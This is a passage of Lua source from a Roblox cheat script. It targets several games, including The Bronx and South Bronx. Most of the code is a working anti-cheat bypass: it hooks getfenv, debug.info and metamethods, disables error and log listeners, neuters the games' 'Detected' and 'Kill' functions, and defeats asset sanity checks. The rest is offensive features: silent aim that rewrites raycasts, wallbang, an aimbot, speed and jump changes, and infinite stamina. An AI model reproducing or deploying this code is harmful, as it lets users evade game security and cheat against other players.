			if not Success then
				return OldFenv(...)
			end

			if typeof(ToInspect) == "function" then
				if typeof(ResultingEnv["getgenv"]) == "function" and isexecutorclosure(ResultingEnv["getgenv"]) then
					return getrenv()
				end

				return ResultingEnv
			end

			local ReconstructedConstructedStack = {}
			for Level = 2, 19997 do
				local StackInfoSuccess, Data = pcall(function()
					return {
						Environement = OldFenv(Level + 3),
						Function = OldDebugInfo(Level + 3, "f"),
					}
				end)

				if not StackInfoSuccess or not Data then
					break
				end

				local Environement = Data.Environement
				-- local Function = Data.Function

				if typeof(Environement["getgenv"]) == "function" and isexecutorclosure(Environement["getgenv"]) then
					Environement = getrenv()
				end

				table.insert(ReconstructedConstructedStack, Environement)
			end

			local InfoLevel = ReconstructedConstructedStack[ToInspect]

			if not InfoLevel then
				-- Max level is 19997 so this guarantees that it will return error
				return OldFenv(3e4)
			end

			return InfoLevel
		end)

		-- Disable all blacklisted connections

		local BlacklistedSignals = {
			game:GetService("LogService").MessageOut,
			game:GetService("ScriptContext").Error,
		}

		local DummySignals = {}

		for _, Signal in next, BlacklistedSignals do
			for _, Connection in next, getconnections(Signal) do
				-- dawg why does volcano return a thread for Connection.Function
				if
					(Connection.Function
					and type(Connection.Function) == "function"
					and isexecutorclosure(Connection.Function)) or
					Connection.Function == nil -- CoreScript connections return nil for Function
				then
					continue
				else
					Connection:Disable()
				end
			end
		end

		local OldIndex
		OldIndex = hookmetamethod(game, "__index", function(Self, Key)
			if checkcaller() then
				return OldIndex(Self, Key)
			end
			
			local Result = OldIndex(Self, Key)

			for _, BlacklistedSignal in next, BlacklistedSignals do
				if Result == BlacklistedSignal then
					if not DummySignals[BlacklistedSignal] then
						DummySignals[BlacklistedSignal] = Instance.new("BindableEvent").Event
					end

					return DummySignals[BlacklistedSignal]
				end
			end

			return Result
		end)

		local OldNewIndex
		OldNewIndex = hookmetamethod(game, "__newindex", function(Self, Key, Value)
			local AssetIndexes = {
				["MeshID"] = true,
				["TextureID"] = true,
				["MeshId"] = true,
				["TextureId"] = true,
				["Image"] = true,
				["SoundId"] = true,
				["AnimationId"] = true,
			}

			if AssetIndexes[Key] then
				local AssetId = Value

				if typeof(AssetId) == "string" then
					AssetId = tonumber(AssetId:match("%d+"))
				end

				if AssetId and not BlacklistedAssets[AssetId] then
					-- Check if the asset is already loaded so we don't accidentally blacklist a legitimate asset
					local AssetLoaded = false
					if
						ContentProvider:GetAssetFetchStatus("rbxassetid://" .. AssetId)
						== Enum.AssetFetchStatus.Success
					then
						AssetLoaded = true
					end

					if checkcaller() then
						if not AssetLoaded then
							BlacklistedAssets[AssetId] = true
						end
					else
						if BlacklistedAssets[AssetId] then
							-- The game is doing a sanity check where it intentionally loads a blacklisted asset
							-- to see if the executor is blocking it. We need to remove it from the blacklist
							-- so it doesn't get blocked.
							BlacklistedAssets[AssetId] = nil
						end
					end
				end
			end

			if Key == "CanCollide" and (not checkcaller()) then
				local Name = debug.info(3, "n")
				if Name and Name:match("Obfuscated") then
					return coroutine.yield()
				end
			end

			return OldNewIndex(Self, Key, Value)
		end)

		-- Now that we will proxy and record all assets the executor uses, we can load the hook.

		local OldPreloadAsync
		OldPreloadAsync = shared.SafeHook(
			ContentProvider.PreloadAsync,
			function(Self, Assets, OriginalCallback)
				if Self ~= ContentProvider or type(Assets) ~= "table" or type(OriginalCallback) ~= "function" then --note: callback can be nil but in that case it's useless anyways
					return OldPreloadAsync(Self, Assets, OriginalCallback)
				end

				--check for any errors that I might've missed (such as table being {[2] = "something"} which causes "Unable to cast to Array")
				local err
				task.spawn(
					function() --TIL calling a C yield function inside a C yield function is a bad idea ("cannot resume non-suspended coroutine")
						local s, e = pcall(OldPreloadAsync, Self, Assets)
						if not s and e then
							err = e
						end
					end
				)

				if err then
					return OldPreloadAsync(Self, Assets) --don't pass the callback, just in case
				end

				Assets = FilterTable(Assets)
				return OldPreloadAsync(Self, Assets, OriginalCallback)
			end
		)
        end)()

        local Sprint_Module = require(game:GetService("ReplicatedStorage").Modules.Game.Sprint)
        local Function_Table_UpValue = debug.getupvalue(Sprint_Module.loaded, 11)

        local _getfenv; _getfenv = hookfunction(getrenv().getfenv, LPH_NO_VIRTUALIZE(function(level)
            if debug.traceback():find("validity_check") then
                return setmetatable({}, {
                    __index = function(...)
                        return nil
                    end
                });
            end;

            return _getfenv(level);
        end));

        getgenv().Send_Remote = Function_Table_UpValue.send;

        getgenv().AntiCheatBypass = true;
    end

    if Game_Name == "Universal" or Game_Name == "Road To Riches" or Game_Name == "Street Life" or Game_Name == "The Bronx" or Game_Name == "Town" and not Solara then
        local DTC;

        LPH_NO_VIRTUALIZE(function()
            for Index, Value in next, getgc(true) do
                if type(Value) == "table" then
                    local Detected = rawget(Value, "Detected");
                    local Kill = rawget(Value, "Kill");
                    if type(Detected) == "function" and not DTC then
                        DTC = Detected
                        hookfunction(Detected, function(...)
                            return true
                        end);
                    end;
                    if rawget(Value, "Variables") and rawget(Value, "Process") and typeof(Kill) == "function" then          
                        hookfunction(Kill, function(...)
                        end)
                    end;
                end;
            end;
        end)()

        local Old; Old = hookfunction(getrenv().debug.info, LPH_NO_UPVALUES(function(...)
            local LevelOrFunc, Info = ...
            if DTC and LevelOrFunc == DTC then
                return coroutine.yield(coroutine.running())
            end
            return Old(...)
        end));

        getgenv().AntiCheatBypass = true
    end

    if Game_Name == "South Bronx" and not Solara then
        for Index, Value in getconnections(Services.ScriptContext.Error) do
            pcall(function()
                Value:Disable()
            end)

            pcall(function()
                Value:Disconnect()
            end)
        end

        for Index, Value in Services.ReplicatedStorage.Workspace.Homeless:GetChildren() do
            Value.Parent = Services.Workspace.Folders.HomelessPeople
        end

        for Index, Value in Services.Workspace.Folders.HomelessPeople:GetChildren() do
            Value:GetPropertyChangedSignal('Parent'):Connect(LPH_NO_VIRTUALIZE(function()
                task.wait()
                Value.Parent = Services.Workspace.Folders.HomelessPeople
            end))
        end

        for Index, Value in Services.ReplicatedStorage.Workspace.NPCs:GetChildren() do
            Value.Parent = Services.Workspace.Folders.NPCs
        end

        for Index, Value in Services.Workspace.Folders.NPCs:GetChildren() do
            Value:GetPropertyChangedSignal('Parent'):Connect(LPH_NO_VIRTUALIZE(function()
                task.wait()
                Value.Parent = Services.Workspace.Folders.NPCs
            end))
        end

        local task_wait_hook; task_wait_hook = hookfunction(task.wait, LPH_NO_UPVALUES(function(...)
            local args = {...}
            local traceback = debug.traceback()

            if args[1] == 2.5 and traceback:find("Loop") and traceback:find("NPCs") then 
                return false
            end

            return task_wait_hook (...)
        end))

        for Index, Value in getconnections(Services.Players.LocalPlayer.Idled) do
            if Value["Disable"] then
                Value["Disable"](Value)
            end

            if Value["Disconnect"] then
                Value["Disconnect"](Value)
            end
        end

        local get_nil_instance = LPH_JIT_MAX(function(name, class) 
            local found = nil 

            for _, instance in getnilinstances() do 
                local instanceName = instance.Name 

                if class then
                    if not instance:IsA(class) then continue end

                    if instanceName:find(name) then 
                        found = instance
                    end
                else
                    if instanceName:find(name) then 
                        found = instance
                    end
                end
            end

            return found
        end)

        repeat task.wait() until get_nil_instance("Gun", "ModuleScript")

        local gun_module = getsenv(get_nil_instance("Gun", "ModuleScript"))

        local old; old = hookfunction(gun_module.x, LPH_NO_UPVALUES(function()
            return nil
        end))

        --[[local Old; Old = hookmetamethod(game, "__index", LPH_NO_VIRTUALIZE(function(...)
            local Self, Index = ...

            if checkcaller() then
                return Old(...)
            end

            if Index ~= "CanCollide" then
                return Old(...)
            end

            if typeof(Self) == "Instance" and Self.Name and Collide_Data[Self.Name] then
                return Collide_Data[Self.Name]
            end

            if typeof(Self) == "Instance" and Self.Name and Self.Name == "Table" then
                return true
            end

            return Old(...)
        end))]]

        getgenv().AntiCheatBypass = true
    end

    repeat Services.RunService.RenderStepped:Wait() until getgenv().AntiCheatBypass == true
end

local OldLightingSettings = {}

OldLightingSettings["Brightness"] = Lighting.Brightness
OldLightingSettings["ClockTime"] = Lighting.ClockTime
OldLightingSettings["FogEnd"] = Lighting.FogEnd
OldLightingSettings["GlobalShadows"] = Lighting.GlobalShadows
OldLightingSettings["OutdoorAmbient"] = Lighting.OutdoorAmbient

do
    LPH_JIT_MAX(function()
        local getnamecallmethod, hookmetamethod, hookfunction = (getnamecallmethod ~= nil) and clonefunction(getnamecallmethod) or function(...) end, (hookmetamethod ~= nil) and clonefunction(hookmetamethod) or function(...) end, (hookfunction ~= nil) and clonefunction(hookfunction) or function(...) end
        _fireproximityprompt = fireproximityprompt
        if Solara or not fireproximityprompt or string.find(identifyexecutor(), "MacSploit") then
            getgenv().fireproximityprompt = LPH_NO_VIRTUALIZE(function(self, vuln)
                local prompt_settings = {["HoldDuration"] = self.HoldDuration; ["RequiresLineOfSight"] = self.RequiresLineOfSight};

                if not vuln then
                    self.HoldDuration = 0; self.RequiresLineOfSight = false;

                    self:InputHoldBegin()

                    if not (self.HoldDuration == 0) then
                        task.wait(self.HoldDuration)
                    end

                    self:InputHoldEnd()

                    for Index, Value in prompt_settings do
                        self[Index] = Value
                    end
                else
                    self.HoldDuration = 0; self.RequiresLineOfSight = false;

                    _fireproximityprompt(self)
                end
            end)
        end

        local Tint = Instance.new("ColorCorrectionEffect", Lighting)
        local OldSaturation = Lighting.ColorCorrection.Saturation
        local OldFogColor = Lighting.FogColor
        local Set_Fog, Set_Fov, Set_FullBright = false, false, false
        RunService.PreRender:Connect(LPH_NO_VIRTUALIZE(function()
            if Config.WorldVisuals.SaturationEnabled then
                Lighting.ColorCorrection.Saturation = Config.WorldVisuals.Saturation_Value
            else
                Lighting.ColorCorrection.Saturation = OldSaturation
            end

            if Config.WorldVisuals.Fullbright then
                Set_FullBright = false
                Lighting.Brightness = 2
                Lighting.ClockTime = 14
                Lighting.FogEnd = 100000
                Lighting.GlobalShadows = false
                Lighting.OutdoorAmbient = Color3.fromRGB(128, 128, 128)
            else
                if not Set_FullBright then
                    Set_FullBright = true
                    
                    Lighting.Brightness = OldLightingSettings.Brightness
                    Lighting.FogEnd = OldLightingSettings.FogEnd
                    Lighting.GlobalShadows = OldLightingSettings.GlobalShadows
                    Lighting.OutdoorAmbient = OldLightingSettings.OutdoorAmbient
                end
            end

            if Config.WorldVisuals.AmbientEnabled then
                Tint.TintColor = Config.WorldVisuals.AmbientColor
            else
                Tint.TintColor = Color3.new(1,1,1)
            end

            if Config.WorldVisuals.FogColorEnabled then
                Set_Fog = false
                Lighting.FogColor = Config.WorldVisuals.FogColor
            else
                if not Set_Fog then
                    Set_Fog = true

                    Lighting.FogColor = OldFogColor
                end
            end

            if Config.WorldVisuals.FieldOfViewEnabled then
                Set_Fov = false
                Camera.FieldOfView = Config.WorldVisuals.FieldOfViewValue
            else
                if not Set_Fov then 
                    Set_Fov = true
                    Camera.FieldOfView = 70
                end
            end
        end))

        local Stamina_Table = {};

        if Game_Name == "South Bronx" and not Solara then
            for Index, Value in getgc(true) do
                if typeof(Value) == "table" and rawget(Value, "Stamina") then
                    Stamina_Table = Value
                end
            end
        end;

        local Set_Speed, Set_JumpPower, Set_Spectate = false, false, false
        if Game_Name == "The Bronx" then
            RunService:BindToRenderStep("MiscSettings", 1000 , LPH_NO_VIRTUALIZE(function(Delta)
                if not LocalPlayer.Character or not LocalPlayer.Character:FindFirstChild("Humanoid") or not LocalPlayer.Character:FindFirstChild("Head") then return end

                if not (Game_Name == "South Bronx") and not (Game_Name == "Road To Riches") then
                    if Config.MiscSettings.ModifySpeed.Enabled then
                        Set_Speed = false
                        
                        local Direction = Vector3.zero
                        if UserInputService:IsKeyDown(Enum.KeyCode.W) then Direction += Camera.CFrame.LookVector end
                        if UserInputService:IsKeyDown(Enum.KeyCode.S) then Direction -= Camera.CFrame.LookVector end
                        if UserInputService:IsKeyDown(Enum.KeyCode.A) then Direction -= Camera.CFrame.RightVector end
                        if UserInputService:IsKeyDown(Enum.KeyCode.D) then Direction += Camera.CFrame.RightVector end

                        if Direction.Magnitude > 0 then
                            LocalPlayer.Character.Humanoid:ChangeState(0)

                            LocalPlayer.Character.HumanoidRootPart.CFrame += Direction.Unit * Config.MiscSettings.ModifySpeed.Value * Delta

                            if LocalPlayer.Character.Humanoid:GetState() == Enum.HumanoidStateType.FallingDown then LocalPlayer.Character.Humanoid:ChangeState(2) end
                        end
                    else
                        if not Set_Speed then
                            Set_Speed = true;
                            LocalPlayer.Character.Humanoid:ChangeState(2)
                            LocalPlayer.Character:FindFirstChild("Humanoid").WalkSpeed = UserInputService:IsKeyDown(Enum.KeyCode.LeftShift) and 16 or 7
                        end
                    end
                
                    if Config.MiscSettings.ModifyJump.Enabled then
                        Set_JumpPower = false
                        LocalPlayer.Character:FindFirstChild("Humanoid").JumpHeight = Config.MiscSettings.ModifyJump.Value
                    else
                        if not Set_JumpPower then
                            Set_JumpPower = true;
                            LocalPlayer.Character:FindFirstChild("Humanoid").JumpHeight = 7
                        end
                    end
                end

                if Config.TheBronx.PlayerUtilities.SpectatePlayer then
                    Set_Spectate = false
                    local Subject = Players:FindFirstChild(Config.TheBronx.PlayerUtilities.SelectedPlayer) and Players:FindFirstChild(Config.TheBronx.PlayerUtilities.SelectedPlayer).Character and Players:FindFirstChild(Config.TheBronx.PlayerUtilities.SelectedPlayer).Character:FindFirstChild("Humanoid")

                    if not Players:FindFirstChild(Config.TheBronx.PlayerUtilities.SelectedPlayer) or not Players:FindFirstChild(Config.TheBronx.PlayerUtilities.SelectedPlayer).Character or not Players:FindFirstChild(Config.TheBronx.PlayerUtilities.SelectedPlayer).Character:FindFirstChild("Humanoid") then
                        Subject = LocalPlayer.Character.Humanoid
                    end

                    Camera.CameraSubject = Subject
                else
                    if not Set_Spectate then
                        Set_Spectate = true

                        Camera.CameraSubject = LocalPlayer.Character.Humanoid
                    end
                end
            end))
        else
            RunService:BindToRenderStep("MiscSettings", 1000 , LPH_NO_VIRTUALIZE(function()
                if not LocalPlayer.Character or not LocalPlayer.Character:FindFirstChild("Humanoid") or not LocalPlayer.Character:FindFirstChild("Head") then return end

                if not (Game_Name == "South Bronx") and not (Game_Name == "Road To Riches") then
                    if Config.MiscSettings.ModifySpeed.Enabled then
                        Set_Speed = false
                        LocalPlayer.Character:FindFirstChild("Humanoid").WalkSpeed = Config.MiscSettings.ModifySpeed.Value
                    else
                        if not Set_Speed then
                            Set_Speed = true;
                            LocalPlayer.Character:FindFirstChild("Humanoid").WalkSpeed = 16
                        end
                    end
                
                    if Config.MiscSettings.ModifyJump.Enabled then
                        Set_JumpPower = false
                        LocalPlayer.Character:FindFirstChild("Humanoid").JumpPower = Config.MiscSettings.ModifyJump.Value
                    else
                        if not Set_JumpPower then
                            Set_JumpPower = true;
                            LocalPlayer.Character:FindFirstChild("Humanoid").JumpPower = 50
                        end
                    end
                end

                if Config.South_Bronx.PlayerUtilities.SpectatePlayer then
                    Set_Spectate = false
                    local Subject = Players:FindFirstChild(Config.South_Bronx.PlayerUtilities.SelectedPlayer) and Players:FindFirstChild(Config.South_Bronx.PlayerUtilities.SelectedPlayer).Character and Players:FindFirstChild(Config.South_Bronx.PlayerUtilities.SelectedPlayer).Character:FindFirstChild("Humanoid")

                    if not Players:FindFirstChild(Config.South_Bronx.PlayerUtilities.SelectedPlayer) or not Players:FindFirstChild(Config.South_Bronx.PlayerUtilities.SelectedPlayer).Character or not Players:FindFirstChild(Config.South_Bronx.PlayerUtilities.SelectedPlayer).Character:FindFirstChild("Humanoid") then
                        Subject = LocalPlayer.Character.Humanoid
                    end

                    Camera.CameraSubject = Subject
                else
                    if not Set_Spectate then
                        Set_Spectate = true

                        Camera.CameraSubject = LocalPlayer.Character.Humanoid
                    end
                end

                if Game_Name == "South Bronx" then
                    if LocalPlayer.Character.Head:FindFirstChild("RankTag") then
                        --if not getgenv().Window then return end

                        LocalPlayer.Character.Head:FindFirstChild("RankTag").MainFrame.NameLabel.Visible = not Config.South_Bronx.LocalPlayer_Config.HideName
                    end
                end

                if Game_Name == "South Bronx" and Solara then
                    return
                end

                if Game_Name == "South Bronx" and Config.South_Bronx.LocalPlayer_Config.InfiniteStamina and not Solara then
                    Stamina_Table.Stamina = 100
                end
            end))
        end

        WorldToScreenPoint = Camera.WorldToScreenPoint;
        GetMouseLocation = UserInputService.GetMouseLocation;
        FindFirstChild = Workspace.FindFirstChild;
        GetPlayers = Players.GetPlayers;
        GetChildren = Workspace.GetChildren;
        GetPartsObscuringTarget = Camera.GetPartsObscuringTarget;
        GetDescendants = Workspace.GetDescendants;
        IsA = Workspace.IsA;
        FindFirstChildOfClass = Workspace.FindFirstChildOfClass

        DistanceCheck = LPH_NO_VIRTUALIZE(function(Player, Distance)
            if not Player then
                return false
            end

            if Player.Character and FindFirstChild(Player.Character,"HumanoidRootPart") then
                local Magnitude = (Camera.CFrame.Position - FindFirstChild(Player.Character,"HumanoidRootPart").Position).Magnitude;

                return Distance > Magnitude
            end;

            return false            
        end);

        WallCheck = LPH_NO_VIRTUALIZE(function(Character)
            local Origin = Camera.CFrame.Position;
            local Position = FindFirstChild(Character, "Head").Position;
            local Parameters = RaycastParams.new();
        
            Parameters.FilterDescendantsInstances = { LocalPlayer.Character, Camera, Character };
            Parameters.FilterType = Enum.RaycastFilterType.Blacklist;
            Parameters.IgnoreWater = true;
        
            return not Workspace:Raycast(Origin, Position - Origin, Parameters)            
        end)

        GetClosestPlayerToMouseAimbot = LPH_NO_VIRTUALIZE(function()
            if not Config.Aimlock.Enabled then return end
            if not Config.Aimlock.Aiming then return end
            
            local PriorityPlayers = {}

            local Plrs = Players:GetPlayers()

            if library.priority[1] then
                for Index, Value in Plrs do
                    if Value == LocalPlayer then continue end;
                    if not table.find(library.priority, Value.Name) then continue end;
                    if table.find(library.whitelist, Value.Name) then continue end;
                    if (Value.Character and Value.Character:FindFirstChild(Config.Aimlock.TargetPart) and Value.Character:FindFirstChild("Humanoid") and Value.Character:FindFirstChild("Humanoid").Health > (Game_Name == "South Bronx" and 4 or 0)) then
                        if FindFirstChildOfClass(Value.Character, "ForceField") then continue end
                        if FindFirstChild(Value.Character, "Torso") and FindFirstChild(Value.Character, "Torso").Material == Enum.Material.ForceField then continue end
                        if Value.Character.Parent == nil then continue end
                        local TargetPart = Value.Character:FindFirstChild(Config.Aimlock.TargetPart)
                        local MouseLocation = Vector2.new(Mouse.X, Mouse.Y)
                        local TargetPartPosition, OnScreen = Camera:WorldToScreenPoint(TargetPart.Position)
                        local Radius = Config.Aimlock.UseFieldOfView and Config.Aimlock.Radius or 9e9
                        local Magnitude = (Vector2.new(TargetPartPosition.X,TargetPartPosition.Y) - MouseLocation).Magnitude
                        if not DistanceCheck(Value, Config.Aimlock.MaxDistance) then continue end

                        if Radius > Magnitude and OnScreen and Value then
                            if (Config.Aimlock.WallCheck and not WallCheck(Value.Character)) then continue end
                            table.insert(PriorityPlayers, {Player = Value, Distance = Magnitude})
                        end
                    end;
                end;
                
                table.sort(PriorityPlayers, function(Player , PlayerTwo)
                    return Player.Distance<PlayerTwo.Distance
                end)

                if PriorityPlayers[1] then
                    return PriorityPlayers[1].Player
                end;
            end;

            local ValidPlayers = {};

            for Index, Value in Plrs do
                if Value == LocalPlayer then continue end;
                if table.find(library.whitelist, Value.Name) then continue end;
                if (Value.Character and Value.Character:FindFirstChild(Config.Aimlock.TargetPart) and Value.Character:FindFirstChild("Humanoid") and Value.Character:FindFirstChild("Humanoid").Health > (Game_Name == "South Bronx" and 4 or 0)) then
                    if FindFirstChildOfClass(Value.Character, "ForceField") then continue end
                    if FindFirstChild(Value.Character, "Torso") and FindFirstChild(Value.Character, "Torso").Material == Enum.Material.ForceField then continue end
                    if Value.Character.Parent == nil then continue end
                    local TargetPart = Value.Character:FindFirstChild(Config.Aimlock.TargetPart)
                    local MouseLocation = Vector2.new(Mouse.X, Mouse.Y)
                    local TargetPartPosition, OnScreen = Camera:WorldToScreenPoint(TargetPart.Position)
                    local Radius = Config.Aimlock.UseFieldOfView and Config.Aimlock.Radius or 9e9
                    local Magnitude = (Vector2.new(TargetPartPosition.X,TargetPartPosition.Y) - MouseLocation).Magnitude
                    if not DistanceCheck(Value, Config.Aimlock.MaxDistance) then continue end

                    if Radius > Magnitude and OnScreen and Value then
                        if (Config.Aimlock.WallCheck and not WallCheck(Value.Character)) then continue end
                        table.insert(ValidPlayers, {Player = Value, Distance = Magnitude})
                    end;
                end;
            end;
            
            table.sort(ValidPlayers, function(Player , PlayerTwo)
                return Player.Distance<PlayerTwo.Distance
            end);
            
            if ValidPlayers[1] then
                return ValidPlayers[1].Player
            end;

            return nil
        end);

        GetClosestPlayerToPlayer = LPH_NO_VIRTUALIZE(function(Player)
            local _Players = {}

            if not Player.Character or not Player.Character:FindFirstChild("HumanoidRootPart") or not Player.Character:FindFirstChild("Humanoid") then return end

            for Index, Value in Players:GetPlayers() do
                if Player == LocalPlayer and Value == LocalPlayer then continue end

                if not Value.Character or not Value.Character:FindFirstChild("HumanoidRootPart") or not Value.Character:FindFirstChild("Humanoid") then continue end
                if Value.Character:FindFirstChild("Humanoid").Health == 0 then continue end

                if (Player.Character.HumanoidRootPart.Position - Value.Character.HumanoidRootPart.Position).Magnitude > 15 then continue end

                table.insert(_Players, {Plr = Value, Range = (Player.Character.HumanoidRootPart.Position - Value.Character.HumanoidRootPart.Position).Magnitude})
            end

            table.sort(_Players, function(...)
                return select(1, ...).Range < select(2, ...).Range
            end)

            return _Players[1] and _Players[1].Plr or nil
        end);

        GetClosestPlayerToMouseSilent = LPH_NO_VIRTUALIZE(function()
            if not Config.Silent.Enabled then return end
            if not Config.Silent.Targetting then return end
            
            local PriorityPlayers = {}

            local Plrs = GetPlayers(Players)

            if library.priority[1] then
                for Index, Value in Plrs do
                    if Value == LocalPlayer then continue end;
                    if not table.find(library.priority, Value.Name) then continue end;
                    if table.find(library.whitelist, Value.Name) then continue end;
                    if (Value.Character and FindFirstChild(Value.Character, "HumanoidRootPart") and FindFirstChild(Value.Character,"Humanoid") and FindFirstChild(Value.Character,"Humanoid").Health > (Game_Name == "South Bronx" and 4 or 0)) then
                        if FindFirstChildOfClass(Value.Character, "ForceField") then continue end
                        if FindFirstChild(Value.Character, "Torso") and FindFirstChild(Value.Character, "Torso").Material == Enum.Material.ForceField then continue end
                        if Value.Character.Parent == nil then continue end
                        local TargetPart = FindFirstChild(Value.Character, "HumanoidRootPart");
                        local MouseLocation = Vector2.new(Mouse.X, Mouse.Y)
                        local TargetPartPosition, OnScreen = WorldToScreenPoint(Camera, TargetPart.Position);
                        local Radius = Config.Silent.UseFieldOfView and Config.Silent.Radius or 9e9;
                        local Magnitude = (Vector2.new(TargetPartPosition.X,TargetPartPosition.Y) - MouseLocation).Magnitude;
                        if not DistanceCheck(Value, Config.Silent.MaxDistance) then continue end
                        
                        if Radius > Magnitude and OnScreen and Value then
                            if not Config.Silent.WallBang and (Config.Silent.WallCheck and (not WallCheck(Value.Character))) then continue end;
                            table.insert(PriorityPlayers, {Player = Value, Distance = Magnitude});
                        end;
                    end;
                end;
                
                table.sort(PriorityPlayers, function(Player , PlayerTwo)
                    return Player.Distance<PlayerTwo.Distance
                end);

                if PriorityPlayers[1] then
                    return PriorityPlayers[1].Player
                end;
            end;

            local ValidPlayers = {};

            for Index, Value in Plrs do
                if Value == LocalPlayer then continue end;
                if table.find(library.whitelist, Value.Name) then continue end;
                if (Value.Character and FindFirstChild(Value.Character, "HumanoidRootPart") and FindFirstChild(Value.Character,"Humanoid") and FindFirstChild(Value.Character,"Humanoid").Health > (Game_Name == "South Bronx" and 4 or 0)) then
                    if FindFirstChildOfClass(Value.Character, "ForceField") then continue end
                    if FindFirstChild(Value.Character, "Torso") and FindFirstChild(Value.Character, "Torso").Material == Enum.Material.ForceField then continue end
                    if Value.Character.Parent == nil then continue end
                    local TargetPart = FindFirstChild(Value.Character, "HumanoidRootPart")
                    local MouseLocation = Vector2.new(Mouse.X, Mouse.Y)
                    local TargetPartPosition, OnScreen = WorldToScreenPoint(Camera, TargetPart.Position)
                    local Radius = Config.Silent.UseFieldOfView and Config.Silent.Radius or 9e9
                    local Magnitude = (Vector2.new(TargetPartPosition.X,TargetPartPosition.Y) - MouseLocation).Magnitude
                    if not DistanceCheck(Value, Config.Silent.MaxDistance) then continue end
                    
                    if Radius > Magnitude and OnScreen and Value then
                        if not Config.Silent.WallBang and (Config.Silent.WallCheck and not WallCheck(Value.Character)) then continue end
                        table.insert(ValidPlayers, {Player = Value, Distance = Magnitude})
                    end
                end;
            end;
            
            table.sort(ValidPlayers, function(Player , PlayerTwo)
                return Player.Distance<PlayerTwo.Distance                
            end);
            
            if ValidPlayers[1] then
                return ValidPlayers[1].Player                
            end;

            return nil            
        end);

        SilentTarget = GetClosestPlayerToMouseSilent()

        TargetTable = {GetClosestPlayerToMouseAimbot();}
        
        local __namecall; __namecall = Solara and nil or not Solara and hookmetamethod(Workspace, "__namecall", LPH_NO_VIRTUALIZE(function(...)
            local Arguments = {...};
            local Method = getnamecallmethod();

            if checkcaller() then
                return __namecall(...)
            end;

            if not SilentTarget then
                return __namecall(...)
            end;

            if not Config.Silent.Enabled then
                return __namecall(...)
            end;

            if Game_Name == "Town" then
                if tostring(getcallingscript()) ~= "GunScript" then
                    return __namecall(...)
                end
            end

            if not (mathrandom(0, 100) <= Config.Silent.HitChance) then
                return __namecall(...)
            end

            if Game_Name == "The Bronx" then
                local Script = getcallingscript()

                if not (Script.Name == "GunScript_Local" or Script.Name == "BulletVisualizerServerScript" or Script.Name == "BulletVisualizerClientScript") then
                    return __namecall(...)
                end
            end

            local RandomPart = Config.Silent.TargetPart[1] and Config.Silent.TargetPart[math.random(1, #Config.Silent.TargetPart)] or "Head"
            
            if Method == "Raycast" and table.find(Config.Game.Ray_Systems, "Raycast") then
                local Script = getcallingscript()

                if Game_Name == "BlockSpin" then
                    if Script and not (Script.Name == "Gun") then
                        return __namecall(...)
                    end
                end

                if Game_Name == "South Bronx" then
                    if Script and Script.Name == "RealismClient" then
                        return __namecall(...)
                    end
                end

                if Config.Silent.Enabled then
                    if Config.Silent.Targetting then
                        local Target = SilentTarget
                        if Target and Target.Character and FindFirstChild(Target.Character, RandomPart) and FindFirstChild(Target.Character,"Humanoid") and FindFirstChild(Target.Character,"Humanoid").Health ~= 0 then
                            local TargetPart = FindFirstChild(Target.Character, RandomPart);
                            local Origin = Arguments[2];
                            local Direction = (TargetPart.Position - Origin).Unit * 1000;

                            Arguments[3] = Direction;
                        end;

                        if Config.Silent.WallBang and Game_Name ~= "BlockSpin" then
                            local FilterDescendantsInstances = {};

                            if Target.Character then
                                for Index, Value in pairs(GetDescendants(Target.Character)) do
                                    if IsA(Value, "Part") or IsA(Value, "BasePart") or IsA(Value, "MeshPart") then
                                        table.insert(FilterDescendantsInstances, Value)
                                    end
                                end;
                            end;

                            local RaycastParams = RaycastParams.new();

                            RaycastParams.FilterType = Enum.RaycastFilterType.Include
                            RaycastParams.IgnoreWater = false
                            RaycastParams.RespectCanCollide = false
                            RaycastParams.FilterDescendantsInstances = FilterDescendantsInstances
                            Arguments[4] = RaycastParams
                        end;

                        if not Config.Silent.WallBang and Game_Name == "South Bronx" then
                            local RaycastParams = RaycastParams.new()
                            RaycastParams.FilterType = Enum.RaycastFilterType.Blacklist
                            RaycastParams.FilterDescendantsInstances = {LocalPlayer.Character}
                            Arguments[4] = RaycastParams
                        end;

                        return __namecall(unpack(Arguments))
                    end;
                end;
            end;

            if string.find(string.lower(Method), "findpartonray") and (table.find(Config.Game.Ray_Systems, "FindPartOnRay") or table.find(Config.Game.Ray_Systems, "FindPartOnRayWithWhitelist")) then
                if Config.Silent.Enabled then
                    if Config.Silent.Targetting and mathrandom(0, 100) <= Config.Silent.HitChance then
                        local Target = SilentTarget;
                        if Target and Target.Character and FindFirstChild(Target.Character, RandomPart) and FindFirstChild(Target.Character,"Humanoid") and FindFirstChild(Target.Character,"Humanoid").Health ~= 0 then
                            local TargetPart = FindFirstChild(Target.Character, RandomPart);
                            local Origin = Arguments[2].Origin;

                            local Direction = (TargetPart.Position - Origin).Unit * 9e17;

                            Arguments[2] = Ray.new(Origin, Direction)

                            if Config.Silent.WallBang then
                                return TargetPart, TargetPart.Position, Vector3.new(0,0,0)
                            end

                            return __namecall(unpack(Arguments))
                        end;
                    end;
                end;
            end;

            return __namecall(...)
        end));

        local function Draw(ClassName, Properties)
            local Drawing = Drawing.new(ClassName);

            for Property, Value in Properties do
                Drawing[Property] = Value;
            end;

            return Drawing
        end;

        local AimbotFieldOfViewOutline = Draw("Circle", {Visible = false, Color = Color3.new(0, 0, 0), Radius = 100, NumSides = 100, Thickness = 4});
        local AimbotFieldOfView = Draw("Circle", {Visible = false, Color = Color3.new(1, 1, 1), Radius = 100, NumSides = 100, Thickness = 2});
        local AimbotFieldOfViewFill = Draw("Circle", {Visible = false, Color = Color3.new(1, 1, 1), Radius = 100, NumSides = 100, Thickness = 2, Filled = true});

        local AimbotSnaplineOutline = Draw("Line", {Visible = false, Color = Color3.new(0, 0, 0), Thickness = 3});
        local AimbotSnapline = Draw("Line", {Visible = false, Color = Color3.new(1, 1, 1), Thickness = 1});

        
        local SilentFieldOfViewOutline = Draw("Circle", {Visible = false, Color = Color3.new(0, 0, 0), Radius = 100, NumSides = 100, Thickness = 4});
        local SilentFieldOfView = Draw("Circle", {Visible = false, Color = Color3.new(1, 1, 1), Radius = 100, NumSides = 100, Thickness = 2});
        local SilentFieldOfViewFill = Draw("Circle", {Visible = false, Color = Color3.new(1, 1, 1), Radius = 100, NumSides = 100, Thickness = 2, Filled = true});
        
        local SilentSnaplineOutline = Draw("Line", {Visible = false, Color = Color3.new(0, 0, 0), Thickness = 3});
        local SilentSnapline = Draw("Line", {Visible = false, Color = Color3.new(1, 1, 1), Thickness = 1});

